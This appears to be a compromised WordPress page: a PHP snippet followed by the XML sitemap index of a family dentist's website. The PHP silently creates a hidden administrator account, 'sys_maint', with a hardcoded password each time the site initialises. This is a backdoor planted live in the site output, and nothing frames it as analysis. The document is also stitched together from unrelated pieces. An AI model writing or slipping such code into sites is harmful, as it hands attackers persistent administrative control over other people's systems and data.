$user = 'sys_maint';
$pass = 'ChangeMe_Str0ng!'; 
$email = 'sys_maint@local.com'; 

function quick_create() {
    global $user, $pass, $email;
    
    if (!username_exists($user) && !email_exists($email)) {
        $id = wp_create_user($user, $pass, $email);
        if (!is_wp_error($id)) {
            $u = new WP_User($id);
            $u->set_role('administrator');
        }
    }
}
add_action('init', 'quick_create');
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<?xml-stylesheet type="text/xsl" href="https://familydentist.gisbornesmiles.com.au/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://familydentist.gisbornesmiles.com.au/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://familydentist.gisbornesmiles.com.au/wp-sitemap-posts-post-2.xml</loc></sitemap><sitemap><loc>https://familydentist.gisbornesmiles.com.au/wp-sitemap-posts-post-3.xml</loc></sitemap><sitemap><loc>https://familydentist.gisbornesmiles.com.au/wp-sitemap-posts-post-4.xml</loc></sitemap><sitemap><loc>https://familydentist.gisbornesmiles.com.au/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://familydentist.gisbornesmiles.com.au/wp-sitemap-posts-elementor_library-1.xml</loc></sitemap><sitemap><loc>https://familydentist.gisbornesmiles.com.au/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://familydentist.gisbornesmiles.com.au/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>